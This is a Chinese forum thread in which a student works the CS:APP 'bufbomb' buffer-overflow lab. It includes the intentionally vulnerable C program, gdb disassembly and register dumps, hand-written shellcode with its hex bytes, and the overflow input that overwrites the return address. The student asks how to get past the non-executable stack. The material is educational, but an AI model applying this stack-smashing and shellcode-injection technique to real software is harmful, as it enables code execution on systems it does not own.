当前位置:编程学习 > 网站相关 >>

菜鸟求助缓冲区溢出


可能有些长,但我花费的很长时间,真的渴望得到答案,不想在起跑线上丧失信心。
环境:ubuntu 9.10
          gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu9) 
问题来自于《Computer Systems:A Programmer's Perspective》,要完成缓冲区攻击。
源程序如下:
------------code begin--------
//bufbomb.c 
/* Bomb program that is solved using a buffer overflow attack */ 

#include <stdio.h> 
#include <stdlib.h> 
#include <ctype.h> 

/* Like gets, except that characters are typed as pairs of hex digits. 
  Nondigit characters are ignored.  Stops when encounters newline */ 
char *getxs(char *dest) 

  int c; 
  int even = 1; /* Have read even number of digits */ 
  int otherd = 0; /* Other hex digit of pair */ 
  char *sp = dest; 
  while ((c = getchar()) != EOF && c != '\n') { 
    if (isxdigit(c)) { 
      int val; 
      if ('0' <= c && c <= '9') 
    val = c - '0'; 
      else if ('A' <= c && c <= 'F') 
    val = c - 'A' + 10; 
      else 
    val = c - 'a' + 10; 
      if (even) { 
    otherd = val; 
    even = 0; 
      } else { 
    *sp++ = otherd * 16 + val; 
    even = 1; 
      } 
    } 
  } 
  *sp++ = '\0'; 
  return dest; 


/* $begin getbuf-c */ 
int getbuf() 

    char buf[12]; 
    getxs(buf); 
    return 1; 


void test() 

  int val; 
  printf("Type Hex string:"); 
  val = getbuf(); 
  printf("getbuf returned 0x%x\n", val); 

/* $end getbuf-c */ 

int main() 


  int buf[16]; 
  /* This little hack is an attempt to get the stack to be in a 
    stable position 
  */ 
  int offset = (((int) buf) & 0xFFF); 
  int *space = (int *) alloca(offset); 
  *space = 0; /* So that don't get complaint of unused variable */ 
  test(); 
  return 0; 


------------code end----------

第二步:编译:
$gcc -o bufbomb bufbomb.c
得到bufbomb。

攻击是针对函数getbuf中的缓冲区buf[12],由函数getxs将输入填充到buf。

第三步:
$gdb bufbomb
(gdb) run 
Starting program: /home/shuai/pro/bufbomb 

Breakpoint 1, getbuf () at bufbomb.c:40 
40 { 
(gdb) next 
42     getxs(buf); 
(gdb) disassemble 
Dump of assembler code for function getbuf: 
0x08048593 <getbuf+0>: push   %ebp 
0x08048594 <getbuf+1>: mov    %esp,%ebp 
0x08048596 <getbuf+3>: sub    $0x28,%esp 
0x08048599 <getbuf+6>: mov    %gs:0x14,%eax 
0x0804859f <getbuf+12>: mov    %eax,-0xc(%ebp) 
0x080485a2 <getbuf+15>: xor    %eax,%eax 
0x080485a4 <getbuf+17>: lea    -0x18(%ebp),%eax 
0x080485a7 <getbuf+20>: mov    %eax,(%esp) 
0x080485aa <getbuf+23>: call   0x80484c4 <getxs> 
0x080485af <getbuf+28>: mov    $0x1,%eax 
0x080485b4 <getbuf+33>: mov    -0xc(%ebp),%edx 
0x080485b7 <getbuf+36>: xor    %gs:0x14,%edx 
0x080485be <getbuf+43>: je     0x80485c5 <getbuf+50> 
0x080485c0 <getbuf+45>: call   0x8048400 <__stack_chk_fail@plt> 
0x080485c5 <getbuf+50>: leave  
0x080485c6 <getbuf+51>: ret    
End of assembler dump. 
(gdb) info f 
Stack level 0, frame at 0xbfffefb0: 
 eip = 0x80485a4 in getbuf (bufbomb.c:42); saved eip 0x80485df 
 called by frame at 0xbfffefe0 
 source language c. 
 Arglist at 0xbfffefa8, args: 
 Locals at 0xbfffefa8, Previous frame's sp is 0xbfffefb0 
 Saved registers: 
  ebp at 0xbfffefa8, eip at 0xbfffefac 
(gdb) i reg 
eax            0x0 0 
ecx            0xbfffef98 -1073746024 
edx            0x5f8340 6259520 
ebx            0x5f6ff4 6254580 
esp            0xbfffef80 0xbfffef80 
ebp            0xbfffefa8 0xbfffefa8 
esi            0x0 0 
edi            0x0 0 
eip            0x80485a4 0x80485a4 <getbuf+17> 
eflags         0x200246 [ PF ZF IF ID ] 
cs             0x73 115 
ss             0x7b 123 
ds             0x7b 123 
es             0x7b 123 
fs             0x0 0 
gs             0x33 51 
(gdb) x /x buf 
0xbfffef90: 0xbfffefd8 

从以上可以看出,下条指令eip= 0x80485a4,到getxs调用时,栈的情况不变,如下图所示:


0xbfffef9c处放入随机的一个数,函数返回时再与之进行比较,看是否重写以检测缓冲区溢出,于是我用gdb进行溢出。编写shellcode。
mov $0xdeadbeef,%eax

push $0x80485df

ret


编译后得到shellcode为b8efbeadde68df850408c3 
继续,
(gdb) next

42     getxs(buf); 

(gdb) x /x 0xbfffef9c

0xbfffef9c: 0xdcfc0c00

(gdb) next

Type Hex string:b8 ef be ad de 68 df 85 04 08 c3 00 00 0cfc dc 00 00 00 00 00 00 00 00 d8 ef ff bf 90 ef ff bf 

43     return 1; 

(gdb) next

44 } 

(gdb) next



Program received signal SIGSEGV, Segmentation fault.

0x080485c6 in getbuf () at bufbomb.c:44

44 } 

(gdb) i reg

eax            0x1 1

ecx            0xa 10

edx            0x0 0

ebx            0xa13ff4 10567668

esp            0xbfffefac 0xbfffefac

ebp            0xbfffefd8 0xbfffefd8

esi            0x0 0

edi            0x0 0

eip            0x80485c6 0x80485c6 <getbuf+51>

eflags         0x210246 [ PF ZF IF RF ID ]

cs             0x73 115

ss             0x7b 123

ds             0x7b 123

es             0x7b 123

fs             0x0 0

gs             0x33 51

(gdb)
 

此时的错误在ret指令处。看来这种缓冲区溢出方法是不行了,可能是不允许执行堆栈中的代码。
1.那我要用这种方法攻击,如何做才能行得通呢?不要避开这种方法。
2.从哪里可以得到关于这方面的最新资料?
谢谢大家。
--------------------编程问答-------------------- 自己up一个,嘿嘿 --------------------编程问答-------------------- 我刚中一个缓冲区溢出的病毒。 --------------------编程问答-------------------- 呵呵,我渴望高手领路 --------------------编程问答-------------------- --------------------编程问答-------------------- 没怎么看,不过jmp esp,lz的竟然是领会成push后ret。。。。。。很有创意
楼主仔细跟踪下esp的值吧
补充:云计算 ,  云安全
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,